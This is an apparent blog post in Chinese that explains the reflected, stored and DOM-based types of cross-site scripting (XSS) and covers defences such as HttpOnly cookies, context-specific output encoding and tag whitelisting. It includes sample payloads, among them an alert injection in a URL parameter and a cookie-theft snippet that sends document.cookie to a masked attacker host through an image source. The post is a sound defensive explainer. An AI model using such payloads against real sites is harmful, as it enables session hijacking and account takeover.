XSS(跨站腳本攻擊)

XSS攻擊:跨站腳本攻擊(Cross Site Scripting),爲不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站腳本攻擊縮寫爲XSS。


XSS攻擊分爲幾種:

1.反射型XSS

反射型XSS只是簡單地把用戶輸入的數據“反射”給瀏覽器。黑客往往需要誘使用戶“點擊”一個惡意鏈接,才能攻擊成功。

例如:http://localhost:8080/prjWebSec/xss/reflectedXSS.jsp?param=value';alert('x')。當param參數被用於頁面的顯示時,容易形成XSS攻擊。

2.存儲型XSS

存儲型XSS會把用戶的輸入的數據存儲在服務器端,這種XSS具有很強的穩定性。存儲型XSS,當黑客把可執行的腳本存儲到服務器,當別人去瀏覽此腳本的頁面時,形成XSS攻擊。

3.DOM Based XSS

通過修改頁面的DOM節點形成XSS,這個是通過JavaScript改變DOM元素,達到XSS攻擊。


用以完成各種具體功能的惡意腳本,叫做 XSS Payload,實際上就是javascript腳本。

XSS Payload的一個攻擊,就是Cookie劫持。因爲Cookie一般加密保存了當前用戶的登陸憑證。如果攻擊者獲得Cookie,則可以直接跳過此登陸憑證進入用戶的賬戶。

例如,黑客加載一個img,image的src設置爲一個請求的地址,“http://www.***.com/log?”+escape(document.cookie)。當用戶加載此圖片時,就會自動的把cookie發送到黑客的地址。這樣黑客就可以使用獲取cookie去登陸了。

還有,黑客可以在img的src中,構造刪除等GET, Post請求,去進行破壞。只要把Javascript注入到頁面中,讓用戶去執行就能形成攻擊。


XSS的防禦

  • HttpOnly,在大多數瀏覽器已經支持HttpOnly這個屬性,就是當cookie有這個標記時,只能通過Http請求能獲取這個cookie,這樣就可以防止黑客寫的js去讀取cookie。那還有什麼方法能獲取到cookie呢?當然用戶自己可以查看瀏覽器看到,但自己肯定不會做攻擊自己的事情。
  • XSS的本質是Html注入,是瀏覽器把用戶輸入的數據當成HTML代碼的一部分來執行導致的。所以還可以進行輸入檢查,輸出檢查等手段去阻止XSS。

輸入檢查:對於用戶輸入的<script>等敏感字符,報錯等方式。

輸出檢查:當變量輸出到HTML頁面時,可以使用編碼或轉義的方式來防禦XSS攻擊。

1.對在HTML代碼中輸出的變量進行HtmlEncode,把字符轉換成HTMLEntities。當在瀏覽器渲染時,被編碼的字符會被反編碼顯示在瀏覽器上,而不會認爲它是可執行的腳本。

2.在<script>標籤中輸出的變量進行JavascriptEncode。

3.在HTML事件中輸出的變量,對其進行JavascriptEncode。

4.在地址中輸出的變量,對其進行URLEncode。

處理富文本

有些時候,網站需要用戶提交一些自定義的HTML代碼,稱之爲“富文本”。那如何區分安全的富文本和XSS攻擊呢?

我們還是得回到輸入檢查的思路上來。應該不允許事件這種動態效果,<iframe>,<script>,<base>,<form>等危險的標籤。在標籤的選擇上,使用白名單,避免使用黑名單。只允許<a>,<img>,<div>等比較安全的標籤。

DOM Based XSS

這是一種比較特殊的XSS攻擊。例如:

<scirpt>

x = "" onclick=alert(1)"; x的輸入

</scirpt>

<scirpt>

var x="$var",

document.write("<a herf='"+x+"'>test</a>")

</script>

當我們把js中的變量進行JavascriptEncode後,當執行此js時,html中仍舊會形成XSS攻擊。

因爲,當js運行時,瀏覽器已經對js解碼,然後就形成了XSS攻擊。

所以當js輸出到html,需要進行一次HtmlEncode,當輸出到腳本,需要進行JavascriptEncode。也就是說,從javascript輸出到html頁面,也是一次Xss輸出過程,需要分語境使用不同的編碼函數。

以上是我對XSS的個人見解,如果有什麼理解錯誤的,請大家包涵指正。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章